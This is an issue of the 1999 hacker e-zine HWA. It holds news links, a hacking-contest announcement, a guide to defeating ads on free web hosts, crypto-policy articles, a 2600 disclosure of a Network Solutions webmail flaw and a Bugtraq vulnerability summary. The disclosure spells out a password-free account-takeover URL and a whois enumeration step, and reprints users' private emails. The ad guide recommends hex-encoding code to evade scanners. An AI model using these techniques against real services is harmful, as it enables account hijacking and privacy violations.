+ http://www.securityfocus.com/ NEW
+ http://www.hackcanada.com/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.freekevin.com/
+ http://www.genocide2600.com/
+ http://www.packetstorm.harvard.edu/ ******* DOWN (THANKS JP) ******
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
+ http://www.403-security.org/
+ http://ech0.cjb.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
++ CRACKING FOR THE MAN (BUS. 3:00 am)
http://www.wired.com/news/news/email/explode-infobeat/business/story/21879.html
There are plenty of ex-hackers hanging around corporate
America these days, says DefCon's founder. Breaking into
networks is always better when you're paid for it. By
Joanna Glasner.
++ MINDSPRING LINKS WITH EARTHLINK (BUS. 9:00 am)
http://www.wired.com/news/news/email/explode-infobeat/business/story/21903.html
The rival Net service providers will join forces, becoming
the second-largest ISP behind AOL.
++
Thanks to myself for providing the info from my wired news feed and others from whatever
sources, also to Spikeman for sending in past entries.... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(No mail worthy of posting here this issue,)
Yeah we have a message board, feel free to use it, remember there are no stupid questions...
well there are but if you ask something really dumb we'll just laugh at ya, lets give the
message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
domain comes back online (soon) meanwhile the beseen board is still up...
==============================================================================
02.0 From the editor.
~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/* We're still here eh? wow. Well nothing much to report, just read and
* be merry. We have a new Croatian correspondant, HWA welcomes Sla5h to
* the fold, check out the News from Sla5h section for stuff from .hr
*
* Cruciphux
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
03.0 Datashark's rootfest challenge
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.provalue.net/users/nomad/hack.txt
DataShark
nomad@provalue.net
-PRESS RELEASE-
At rootfest2k I will be setting up five servers. This is the challange.
The machines will be setup on the rootfest network and configured like a corprate
Mission critical network there will be a POS server (prolly Novell 3.X running
counterpoint) there will be a Email/fax server.(prolly running Linux) there will be
a firewall(there may be week links in the firewall(i.e. a machine connected directly
to the network etc)) there will be a fileserver(prolly running NT(hack it and you can
keep the software) and a webserver. The webserver will be public and hosting webpages
you can get a account on this machine by attaching a Text file to a email stating the
username you would like as well a alternates and a password email to nomad@provalue.net
now for the fun part!
1st prize goes to the person that hacks all five machines first
you get a 3com Palm V or a AMD K-7 500 chip and motherboard
2nd prize goes to the person that has the most creative hack
you get a 3com Palm III or a 4.5 gig SCSI drive and controler card
3rd prize goes to the person that hacks the most con particpants (you must prove this)
you get a Creative Labs NOMAD mp3 player.
Most pathetic person at the con gets a free copy of windows 98 and a 'Kick me I suck' t
I need five volentires to secure the machine's at rootfest you CANNOT be in the
callange BUT if your machine does not get owned you can keep the machine. if you are
interested please email me at nomad@provalue.net
If you are caught DoS attacking the machines or the rootfest network you will be delt
with harshly.
I am looking for hardware and software donations for the machines If you have anything
you would like to donate please email me at nomad@provalue.net
I will also be giving away a machine to the first person to bring me a real FBI badge
it must be real. and should still have the agents photo ID with it. (if anyone has a
problem with this PLEASE email me. I wish to stay on the good side of the law)
@HWA
04.0 HOW-TO Beat the ADS on FWP (Free Webpage Providers)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Smogzer
url: http://smog.cjb.net
email:smogzer@iname.com
HOW-TO Beat the ADS on FWP (Free Webpage Providers) ?
http://smog.cjb.net
Version 0.9
Sep 23 1999 � 1999 SmoG Alert.
INDEX :
Why ?
1 - Pop-ups
1.1 - Removing the Pop-ups
1.2 - Killing pop-ups when they appear
2 - Banners
3 - Make stuff invisible (banners, counters, buttons, text, etc)
4 - Frames
5 - Remove end
6 - Avoiding rule scanners
7 - Make sure users can reach you page
8 - Contributions / Bibliography
9 - Copyright
Why ?
To let amateur webmasters have complete control of what they sites look like.
I'm tired of seeing publicity I didn't asked for and closing pop-ups that I didn't asked to see.
Having to show some advertisement spoils good webdesign.
Most of the time the servers are slow enough without ads.
Webmasters from sites that have publicity don't get any $ for their publicity.
People are trying to offer a service to the community and the only one that gets anything from it are the sponsors.
There's lots of software that blocks ads, by using this techniques viewers don't need to use that kind of software.
1 - Pop-ups :
1.1 - Removing the Pop-ups :
This technique makes the browser ignore the pop-up.
The pop-up is a javascript code, so if we surround the place where the server inserts this code with a <noscript> or a <!-- //-->
(comment) tag the pop-up will be ignored.
� Look at the example for the <!-- (comment) tag:
<!-- Start code //-->
<NOSCRIPT>
<!-- <BODY> --> // the Decoy body tag, it can at the beginning of the head tag too
</NOSCRIPT>
<TITLE>Your Title Here</TITLE>
</HEAD>
<BODY> // The real body tag
� Look at the example for the <noscript> tag:
<!-- Start code //-->
<NOSCRIPT>
<BODY> // the server will insert their code right before or after the <body> tag so any javascript will be ignored
</NOSCRIPT>
� A simpler way in case you don't need to open any windows using javascript is to include this code in every page of the site.
<!-- Start code //-->
<SCRIPT LANGUAGE="JavaScript">
<!--
function open () {return true;} // this will redefine the open function.
//-->
</SCRIPT>
� The jawascript method is used when the server inserts a </noscript> before the pop-up, this way the <noscript> trick won't work so if
I insert a "<SCRIPT LANGUAGE="JawaScript">" (notice that jawascript can be anything, it's only convenience is looking like
javascript) will disable the rest of the script.
<SCRIPT LANGUAGE="JawaScript"> // just insert this line before the place where the pop-up will be.
<!-- -->
</noscript>
<script language="JavaScript">
� This script by "the_omega" allows the opening of all urls in new windows except one called popup.html .
<SCRIPT>
<!--
function ScreenIt(url,name,parm){
if(url.indexOf("popup.html")!=-1) return false;
return window.Xopen(url,name,parm);
}
window.Xopen=window.open;
window.open=ScreenIt;
//-->
</SCRIPT>
1.2 - Killing pop-ups when they appear :
� When a pop-up name open it will have a name, what this script does is open a window with that name and closing it right after.
"w" is name of the window do open and close, this can be anything w is just an example.
To know the "Popupname" you must look at the code the server inserts in your page and get it there.
The window.focus() is optional, it will only make this window become active when the popup closes.
<!-- Start code //-->
<script language="JavaScript">
w=window.open("http://smog.cjb.net","Popupname","");
w.window.close();
window.focus();
<!-- End code //-->
2 - Banners :
� If you need to remove a banner in a place of your choice use the make invisible technique, if the server inserts the code in the end
of the document just use "remove end" of document technique. You can also replace the banner with the image you want.
� If the banner is placed automatically on the beginning of the page, the best thing to do is have a layer filling the space occupied by
the ad. This banner can contain a image or a solid color background.
<LAYER top="27" name="top"><center>
<IMG SRC="http://smog.cjb.net/logo2.gif" width="490" height="95"></center>
</LAYER>
� If the banner is a shtml code like
<NOSCRIPT>
<!--#geoguide-->
</NOSCRIPT>
� It's possible to change the banner to any image you want, your logo or maybe a 1x1 transparent gif .
Change the "src" property of the image by refering to the image number on the page, if the banner is on top it's number must be 0 if
it's the last image on the page you must count all the images, or in case the banner has a "name" property you can replace the
"images[0]" with the "name" value of the image. Just insert this script after the image you want to replace.
<script language="JavaScript">
<!--
document.images[0].src='banners_suck.gif';
-->
</script>
3 - Make stuff invisible (banners, counters, buttons, text, etc) :
� This technique is possible using layers, the variables don't really matter the important this is the "visibility=hide" part.
Just add your invisible stuff to a layer like this:
<ilayer id="invisible" z-index="1" visibility="hide" >Your banners,counters, text here</ilayer>
The "Your banners,counters, text here" will be invisible to everyone viewing your page but not for their browsers.
4 - Frames :
� This code checks for the existence of frames, if they exist the page where you put this code becomes the only page in the browser.
<script language=JavaScript>
if(top!=self){top.location.href=self.location.href;}
</script>
� or have the first page of your site point to a second one with this code on the body:
<body onLoad="window.open('http://smog.cjb.net/html/index.htm','_parent')">
By opening in a _parent window the browser will go to the previous window in the history, this is the one just before the frames and
open the site there.
Sometimes the location that FWP give you is just an alias to your real page location. They use this aliasing method to make users
load a frame, if you know where the real page is located just make some redirector point there.
Just look at the xoom example
"http://members.xoom.com/_XOOM/username/" is your real page location and "http://members.xoom.com/username/" is
the location they use to make viewers load the adframe.
To discover the real location of your site just press right mouse click on your page and look in the "info" panel.
5 - Remove end :
� Sometimes servers add stuff in the end of the pages, to remove it just place <!-- or <noscript> before the place where they're
publicity is going to be, the <!-- comments the rest of the file making it only visible when viewing the source, the <noscript> is used if
the ad comes in form of javascript, disabling it.
6 - Avoiding rule scanners :
� Some servers scan .htm files for suspect code, spliting popups names is useful when escaping this scanners.
var Popup="po"+"pWind"+"ow"; window.onError=null; tasteful=window.open(newpage,wndname,"");
� You should also encode your code in hexadecimal format. When it is encoded put it like this
<SCRIPT>
<!--
eval(unescape("your code in hex here"))
//-->
</SCRIPT>
7 - Make sure users can reach you page:
When/If the FWP services track you they may delete your pages and the usual viewers won't be able to know the next location of your
site, so you better use redirectors. You can find a list of redirectors that don't use ads on my site.
With redirectors your site will look like http://smog.cjb.net , where cjb.net is the name of the redirector and smog is the name of my
site.
8 - Contributions / Bibliography :
Popups must die
Counterexploitation and the Free Webpage Provider
the_omega
This is the end, I hope this tips help anybody make better, or at least less annoying web sites.
Anybody that wishes to contribute to this article should e-mail smogzer@iname.com
COPYRIGHT
This document is Copyright � 1999 Smog Alert smogzer@iname.com . It may be freely redistributed in its entirety, including the whole of this
copyright notice, but may not be changed without permission from the author. Dispensation is granted for copying small verbatim portions for the
purposes of reviews or for quoting; in these circumstances, sections may be reproduced in the presence of an appropriate citation but without
this copyright notice.
05.0 Even More Bad News about CESA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Weld Pond
The Cyberspace Electronic Security Act (CESA) has
even more bad things hidden within it than originally
realized. There are at least two separate provisions that
will keep " sensitive investigative techniques and
industry trade secrets" quit and prevent them from
being disclosed even in court. This means keeping
backdoors and vulnerabilities that the software
manufacturer may know about secret! You aren't even
going to know if your software contains a "recovery
agent". This will also allow the government to use
decrypted evidence in court without revealing how they
decrypted it which means whoever the defendant is will
just have to believe them.
Electronic Privacy Information Center
http://www.epic.org/crypto/legislation/cesa/
Wired
http://www.wired.com/news/news/politics/story/21810.html
Decoding the Crypto Policy Change
by Declan McCullagh
3:00 a.m. 17.Sep.99.PDT
Why did the Clinton administration cave on crypto? What caused the nation's top generals and cops to back down this week after spending the
better part of a decade warning Congress of the dangers of privacy-protecting encryption products?
Why would attorney general Janet Reno inexplicably change her mind and embrace overseas sales of encryption when as recently as July she
warned Congress of the "rising threat from the criminal community of commercially available encryption?"
See also: Clinton Relaxes Crypto Exports and Crypto Law: Little Guy Loses
It can't simply be that tech firms were pressing forward this fall with a House floor vote to relax export rules. National security and law enforcement
backers in the Senate could easily filibuster the measure. Besides, Clinton had threatened to veto it.
It could be the presidential ambitions of Vice President Gore, who just happened to be in Silicon Valley around the time of the White House press
conference Thursday. Still, while tech CEOs can get angry over the antediluvian crypto regulations Gore has supported, they regard Y2K liability
and Internet taxation as more important issues.
Another answer might lie in a little-noticed section of the legislation the White House has sent to Congress. It says that during civil cases or
criminal prosecutions, the Feds can use decrypted evidence in court without revealing how they descrambled it.
"The court shall enter such orders and take such other action as may be necessary and appropriate to preserve the confidentiality of the technique
used by the governmental entity," Section 2716 of the proposed Cyberspace Electronic Security Act says.
There are a few explanations. The most obvious one goes as follows: Encryption programs, like other software, can be buggy. The US National
Security Agency and other supersecret federal codebreakers have the billion-dollar budgets and hyper-smart analysts needed to unearth the bugs
that are lurking in commercial products. (As recent events have shown, Microsoft Windows and Hotmail have as many security holes as a sieve
after an encounter with a 12-gauge shotgun.)
If the Clinton crypto proposal became law, the codebreakers' knowledge could be used to decipher communications or introduce decrypted
messages during a trial.
"Most crypto products are insecure. They have bugs. They have them all the time. The NSA and the FBI will be working even harder to find them,"
says John Gilmore, a veteran programmer and board member of the Electronic Frontier Foundation.
Providing additional evidence for that view are Reno's comments on Thursday. When asked why she signed onto a deal that didn't seem to provide
many obvious benefits to law enforcement, she had a ready response.
"[The bill covers] the protection of methods used so that ... we will not have to reveal them in one matter and be prevented, therefore, from using
them in the next matter that comes along," the attorney general said.
Funding for codebreaking and uncovering security holes also gets a boost. The White House has recommended US$80 million be allocated to an FBI
technical center that it says will let police respond "to the increasing use of encryption by criminals."
Another reason for the sea change on crypto is decidedly more conspiratorial. But it has backers among civil libertarians and a former NSA analyst
who told Wired News the explanation was "likely."
It says that since the feds will continue to have control of legal encryption exports, and since they can stall a license application for years and
cost a company millions in lost sales, the US government has a sizeable amount of leverage. The Commerce Department and NSA could simply
pressure a firm to insert flaws into its encryption products with a back door for someone who knows how to pick the lock.
Under the current and proposed new regulations, the NSA conducts a technical analysis of the product a company wishes to export. According to
cryptographers who have experienced the process, it usually takes a few months and involves face-to-face meetings with NSA officials.
"This may be a recipe for government-industry collusion, to build back doors into encryption products," says David Sobel, general counsel for the
Electronic Privacy Information Center and a veteran litigator.
Sobel points to another part of the proposed law to bolster his claim: It says any such information that a company whispers to the Feds will remain
secret.
That section "generally prohibits the government from disclosing trade secrets disclosed to it [by a company] to assist it in obtaining access to
information protected by encryption," according to a summary prepared by the administration.
Is there precedent? You bet. Just this month, a debate flared over whether or not Microsoft put a back door in Windows granting the NSA secret
access to computers that run the operating system.
While that widespread speculation has not been confirmed, other NSA back doors have been.
In the 1982 book The Puzzle Palace, author James Bamford showed how the agency's predecessor in 1945 coerced Western Union, RCA, and ITT
Communications to turn over telegraph traffic to the feds.
"Cooperation may be expected for the complete intercept coverage of this material," an internal agency memo said. ITT and RCA gave the
government full access, while Western Union limited the number of messages it handed over. The arrangement, according to Bamford, lasted at
least two decades.
In 1995, The Baltimore Sun reported that for decades NSA had rigged the encryption products of Crypto AG, a Swiss firm, so US eavesdroppers
could easily break their codes.
The six-part story, based on interviews with former employees and company documents, said Crypto AG sold its security products to some 120
countries, including prime US intelligence targets such as Iran, Iraq, Libya, and Yugoslavia. Crypto AG disputed the allegation.
"It's a popular practice. It has long historical roots," says EFF's Gilmore. "There's a very long history of [the NSA] going quietly to some ex-military
guy who happens to run the company and say, 'You could do your country a big favor if...'"
Could the security flaw be detected? Probably not, said Gilmore, who during a previous job paid a programmer to spend months disassembling parts
of Adobe's PostScript interpreter. "Reverse engineering is real work. The average company would rather pay an engineer to build a product rather
than tear apart a competitors'."
@HWA
06.0 NSI Opens New Email Hole
~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Macki
Last week Network Solutions Inc. made a major security
blunder by automatically opening unwanted email
accounts for all of its customers and then mailing the
easily guessable passwords to them in the clear. They
have since revamped their free email system.
Unfortunately the new system also has a gaping hole
allowing anyone with an account to read anyone else's
email.
2600
http://www.2600.com/2600new/092099.html
update 9/24/99:
A full business week has now gone by since we revealed this
security hole. Apart from a story in the Boston Globe and ZDTV,
the rest of the media chose to ignore this completely. Wired even
wrote us to say "we do not believe this represents either a security
or a privacy risk." It's hard to imagine what could be *more* of a
security and privacy risk than a company running insecure software
while attempting to get *all* administrative and technical contacts
for *every* .com, .net, and .org site to use their system as a trusted
method of communication.
As of today, most of the problems seem to have been fixed,
although we are still hearing from people who claim to have
thousands of accounts in their browser cache which can still be
logged into. Also, as of this date, no public comment has been issued
on the web sites of Network Solutions, Inc. or Critical Path, Inc.,
the company that NSI hired to operate its web mail sites.
Spokespersons from Critical Path have been quoted as saying they
take responsibility for this mess but we believe a more public and
lasting statement is in order.
update 9/21/99:
It's been a day since this problem was disclosed to the public, and
almost a week since it was brought to NSI's attention. They have
still yet to comment on the matter.
The page that allowed people to access arbitrary email accounts has
been disabled by NSI. However, if you happen to know the URL
for an email box, you can still access it. For instance you can send
email as microsoft@dotcomnow.com *here. Within 5 minutes of
this URL being posted the account was disabled. STAY TUNED!
*http://mail.dotcomnow.com/mail/compose/microsoft/0d472389db5e137350a29516aa7e8c32
As of 7:20 PM EDT, a URL to access the support account's email
was working. As we were preparing to post a link, it too was
disabled. Perhaps somone is paying attention.
NEW INTERNIC EMAIL SECURITY HOLE
9/20/99
We have been alerted to a serious vulnerability on a free web-based
e-mail service that has recently been launched by Network
Solutions Inc., otherwise known as the Internic - the people
responsible for registering nearly all .com, .net, and .org addresses.
Anyone taking them up on their offer for "free web mail" on their
www.networksolutions.com/ page is both vulnerable and capable of
accessing ANY ACCOUNT on the following domains:
dotexpress.com
mymailbag.com
nsimail.com
dotcomnow.com
Once you have registered an account on their system, you can
change the name of your account to ANY OTHER ACCOUNT
simply by entering this URL:
http://mail.dotcomnow.com/signup/poll/newaccount?dlang=default
NO PASSWORD IS REQUIRED.
Simply replace newaccount with the name of the account you would
like to access and you're in!
While it's a trivial matter to guess user names, if you want a small
list from the Internic's own database, simply type:
whois '*@dotexpress.com'
or any of the other domains they are currently running.
According to the people who have alerted us of this vulnerability,
NSI was informed of the security hole last week and failed to
respond. We believe this may help motivate them.
Have a look at some of the mail that is world readable on NSI's
system. These people thought they were sending mail to the
webmaster of the site. What's particularly ironic is the large number
of people who were complaining about the easily guessable
passwords that were mailed out - they never suspected that it was
even easier to compromise their accounts without having to even
guess the password!
Look at the mail here : http://www.2600.com/2600new/092099-mail.html
(Reprinted below)
9/20/99
The following are samples of the mail that is world readable on NSI's system. These people thought they
were sending mail to the webmaster of the site. What's particularly ironic is the large number of people who
were complaining about the easily guessable passwords that were mailed out - they never suspected that it
was even easier to compromise their accounts without having to even guess the password!
------- Start of forwarded message -------
Subject: Whoops
To: webmaster@dotcomnow.com
From: pross@dotcomnow.com
Date: 17 Sep 1999 11:17:44 -0700
Screwed that one up, eh? I accidentally type in the wrong username, put
the matching password (random passwords? Wot's that, then?) and I get
into the wrong account.
Deary me. I'd better leave before someone notices.
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: Problem with email account
To: webmaster@dotcomnow.com
From: locke30@dotcomnow.com
Cc: webmaster@netsol.com
Date: 16 Sep 1999 17:10:57 -0700
The following is what I set my vacation message to after changing my
password to some random garbage... I decided to entertain myself by
sending you a copy:
The idiots at Network Solutions decided to open
thousands of accounts for its customers using easily
guessable passwords (hint: really easy) These accounts
were created without any input. And NSI was kind
enough NOT to provide any means of removing them.
With noise on the internet account about the account
making it easier to hyjack domain names (gee... thanks
NSI!) I was forced to log in and change my password (as
were thousands of other people)
Network Solutions: Yes were a monopoly damnit! (tm)
If you wish to contact me, do a whois lookup for
shivan.org, which was the domain that I registered with
NSI that got me all this neat spam and free unsolicited
wideopen email accounts.
-- Bruce Locke (locke30)
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: GET YOUR SECURITY RIGHT!!!
To: postmaster@netsol.com
From: webmaster@dotcomnow.com
Cc: postmaster@dotcomnow.com, root@netsol.com
Date: 16 Sep 1999 05:36:14 PDT
This Web Mail service is one big security hole. I can login to over two
dozen accounts, just using 'lastname' and password 'lastnamensi'.
'webmaster' with 'webmasternsi' did work as well, just like 'admin' with
'adminnsi'.
Jeez man, wake up and smell the fire....
barbaBob
(P.S.: the password for this account has been changed to 'tralala'. There
is a lot of e-mail here from concerned netizens trying to warn you guys.
I suggest you read them)
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: You are in serious violation of critical path's policy
From: cp@dotcomnow.com
Cc: recipient list not shown: ;
Date: 16 Sep 1999 10:53:03 -0700
Dear sir or madam,
We realize that you have compromised the security of our company by
changing the password of this account. We require that you change the
password to 'critcalpath'
You must reply to us immediately once you have changed it so that we
can stop the current investigation and legal charges being brought
against you.
Thank You,
Critical Path
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: What in the Heck were you thinking?
To: webmaster@dotcomnow.com
From: verpoorten@dotcomnow.com
Cc: help@dotcomnow.com
Date: 16 Sep 1999 08:03:10 -0700
What in the world were you thinking? You set up an e-mail acct in my name
and gave me a password which was the same for every domain name (acct name
and a "nsi" after it) and emailed me the acct and password without me
setting it up, clearing it, or acces
sing it first?
This has got to be the worse example of exploitation I have ever seen
with a business in your position and trust. I fear for the safety of my
Domain name, my good name, and my checkbook with you in charge of Domain
names now.
I do not want any mail acct opened without my OK.
Man, what in the name of God and all that is Holy was your company
thinking when it pulled this idiotic stunt?!
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: Re: your message
To: postmaster@INTEGRAM.ORG, root@INTEGRAM.ORG, info@INTEGRAM.ORG,
postmaster@INTEGRAM.ORG, webmaster@INTEGRAM.ORG, hostmaster@netsol.com,
postmaster@netsol.com, info@networksolutions.com,
postmaster@networksolutions.com, webmaster@dotcomnow.com,
info@dotcomnow.com, postmaster@dotcomnow.com
From: Joost Baaij
Date: Thu, 16 Sep 1999 15:58:26 +0200
Dear integram/network solutions
I do not appreciate getting e-mail messages like this. I sincerely hope
you will never bother me again in the future.
As far as your web-based email service is concerned, i think it's an
unprecedented fiasco by generating easy to guess passwords. I STRONGLY
suggest you IMMEDIATELY take action and modofy ALL passwords on that
system.
I've heard several reports of people breaking into the dotcomnow email
service that weren't supposed to. I'm stunned and shocked to see your
company do such an utterly DUMB thing. Please correct it NOW.
--
------------------------------------------------------------------------
Barito Innovators B.V.
Joost Baaij De Mulderij 4, 3831 NV Leusden
P.O. Box 387, 3830 AK Leusden
The Netherlands
Phone +31 (0)33 494 79 71
j.baaij@barito.nl Fax +31 (0)33 494 85 44
Internet http://www.barito.nl
------------------------------------------------------------------------
------- End of forwarded message -------
------- Start of forwarded message -------
To: webmaster@nsi.com
From: lewis@dotcomnow.com
Cc: webmaster@dotcomnow.com
Date: 16 Sep 1999 06:08:38 -0700
god you guys suck
nice default passwords
morons
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: you people fucking stupid or what
To: webmaster@dotcomnow.com
From: testa28@dotcomnow.com
Date: 16 Sep 1999 05:32:59 -0700
what in the hell where you people thinking by sending out generic
passwords for every acct. Are your security people just stupid or what?
Since you've been monopolizing the domain world for so long, has all
common sense gone to the wayside? I can't believe the number of idiots
that work there and that anyone thought this was a good idea. Since i'm
up for renewal in 3 months, i'll have to seriously contemplate staying
with people who are ignorant and stupid.
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: security?
(or complete lack thereof)
To: hostmaster@netsol.com, webmaster@dotcomnow.com
From: hostmaster360@dotcomnow.com
Cc: aaron@abelard.com
Date: 16 Sep 1999 01:04:25 -0700
you've got to be kidding me. your lack of any forethought in assinging
passwords has turned a potentially useful system into a potentially large
problem.
aaron abelard / aa203
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: Re:
To: lewis@dotcomnow.com
From: webmaster@dotcomnow.com
Date: 17 Sep 1999 23:27:34 PDT
Hi Luie,
That ain't the half of it...
Why don't you be webmaster....
http://mail.dotcomnow.com/signup/poll/webmaster?dlang=default
On Thu, 16 September 1999, lewis@dotcomnow.com wrote:
>
>
> god you guys suck
>
> nice default passwords
>
> morons
>
>
>
> -------------------------------------------------
> Get personalized e-mail and a web address or your
> own free e-mail at http://www.networksolutions.com.
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: You boneheads
To: postmaster@dotcomnow.com
From: droelands@dotcomnow.com
Date: 16 Sep 1999 17:36:40 -0700
Thanks for nothing.
You create an email account in my name, without my consent, and assign it
a password that is incredibly easy to hack?
What have you been inhaling?
I have no intent to use this service. I configured my password simply to
protect myself. Furthermore, when my domains expire, I'll be sure to
re-register them with another service.
Morons...
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
------- Start of forwarded message -------
Subject: How stupid can you be?!?!?!?!
To: admin@dotcomnow.com, root@dotcomnow.com, postmaster@dotcomnow.com
From: toups2@dotcomnow.com
Date: 16 Sep 1999 06:53:53 -0700
First off, what right does Network Solutions have spamming my mailbox
with your web based mail service. Just because I HAVE to use your
monopolistic service to register domains DOES NOT give you the right to
SPAM my work e-mail account.
Second, is their cow manure in place of brains in your head? How dare you
send out a clear text password that effects my domains in e-mail? What
Mickey Mouse Security Course did you take?
I will be writing my congressman and senator to insure that Network
Solution loses all ability to manage domain names. This behavior is the
absolute worst and should not be rewarded.
Sincerely yours,
A VERY DISGRUNTLED DOMAIN OWNER
-------------------------------------------------
Get personalized e-mail and a web address or your
own free e-mail at http://www.networksolutions.com.
------- End of forwarded message -------
@HWA
07.0 Security Focus Newsletter for September
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Mon, 20 Sep 1999 10:42:15 -0700
Reply-To: Alfred Huger <ah@SECURITYFOCUS.COM>
Sender: SF-NEWS Mailing List <SF-NEWS@SECURITYFOCUS.COM>
From: Alfred Huger <ah@SECURITYFOCUS.COM>
Subject: Security Focus Newsletter #7
X-To: sf-news@securityfocus.com
To: SF-NEWS@SECURITYFOCUS.COM
Security Focus Newsletter #07
Table of Contents:
I. INTRODUCTION
II. BUGTRAQ SUMMARY
1. Hotmail Javascript STYLE Vulnerability
2. Netscape Enterprise SSL Handshake Patch Accept Buffer Overflow Vulnerability
3. NetcPlus @Work SmartServer3 SMTP Buffer Overflow
4. Computalynx CMail SMTP Buffer Overflow Vulnerability
5. NT RASMAN Privilege Escalation Vulnerability
6. FuseWare FuseMail POP Mail Buffer Overflow Vulnerability
7. Multiple Vendor CDE dtaction Userflag Buffer Overflow Vulnerability
8. Multiple Vendor CDE dtspcd Vulnerability
9. Multiple Vendor CDE ttsession Vulnerability
10. Multiple Vendor CDE TT_SESSION Buffer Overflow Vulnerability
11. FreeBSD fts Library Buffer Overflow Vulnerability
III. PATCH UPDATES
1. Vendor: ProFTP
IV. INCIDENTS SUMMARY
1. Stray FIN packets...
V. VULN-DEV RESEARCH LIST SUMMARY
1. Guestbook perl script (long) (Thread)
2. VULN-DEV Administrivia #2143
3. Administrivia #2685
4. [Fwd: your guestbook]
VI. SECURITY JOBS
Seeking Employment:
1. Contact: M Simkin <msimkin@primenet.com>
Seeking Staff:
1. Nokia: SE Position Routing/Firewall/VPN
2. System Administrator - Unix - New York City
3. Chief Security Officer #406
4. Computer Systems Programmer
5. Information Security Analyst
6. Information Security Engineer
7. Project Manager for the Information Security Group
VII. SECURITY SURVEY RESULTS
VIII. SECURITY FOCUS EVENTS
1. New Features In Tools Section
IX. SECURITY FOCUS TOP 6 TOOLS
1. Stack Shield 0.5 beta (UNIX)
2. rinetd (for Win9x/NT)
3. rinetd (UNIX)
4. Subotronic (Win9x/NT)
5. ShoWin (Win9x/NT)
6. Boping (Win9x/NT)
X. SPONSOR INFORMATION - Tripwire Security
I. INTRODUCTION
Welcome to the 7th edition of the Security Focus Newsletter. The last week
has been a busy one with Security Focus with the high point being that we
are now moved to a higher bandwidth facility to better meet user demands.
II. BUGTRAQ SUMMARY 1999-09-11 to 1999-09-19
---------------------------------------------
1. Hotmail Javascript STYLE Vulnerability
BUGTRAQ ID: 630
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/630
Summary:
The HTML STYLE command can be used to embed Javascript into Hotmail email
messages. The STYLE tag circumvents current methods employed by Hotmail to
disable Javascript from email messages. When viewed by a Microsoft IE 5.0
or Netscape Navigator 4.X browser, the Javascript in the email may execute
various commands on the viewer's mailbox. The commands could take various
actions on the user's inbox, including: reading email, deleting email, or
prompting users to re-enter their password in a trojan application.
2. Netscape Enterprise SSL Handshake Patch Accept Buffer Overflow
Vulnerability
BUGTRAQ ID: 631
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/631
Summary:
The Enterprise Server 3.6 SP2 with the SSL Handshake Patch applied is
vulnerable to a buffer overflow that will DoS the service and may allow
arbitrary commands to be executed on the web server.
3. NetcPlus @Work SmartServer3 SMTP Buffer Overflow
BUGTRAQ ID: 632
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/632
Summary:
There is a buffer overflow on the @Work SmartServer3 SMTP service (long
MAIL FROM:) that may allow an intruder to execute arbitrary code on the
target server.
4. Computalynx CMail SMTP Buffer Overflow Vulnerability
BUGTRAQ ID: 633
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/633
Summary:
There is a buffer overflow in the CMail SMTP service (long MAIL FROM:)
that may allow an attacker to execute arbitrary code on the target server.
5. NT RASMAN Privilege Escalation Vulnerability
BUGTRAQ ID: 645
Remote: Yes
Date Published: 1999-09-17
Relevant URL:
http://www.securityfocus.com/bid/645
Summary:
Any authenticated NT user (IE domain user) can modify the pathname for the
RASMAN binary in the Registry. The next time the RAS Service is started,
the (trojan) service referenced by the RASMAN pathname will be executed
with system privileges. This trojan service may allow the User to execute
commands on the target server as an administrator, including elevating the
privileges of their own account to that of Administrator.
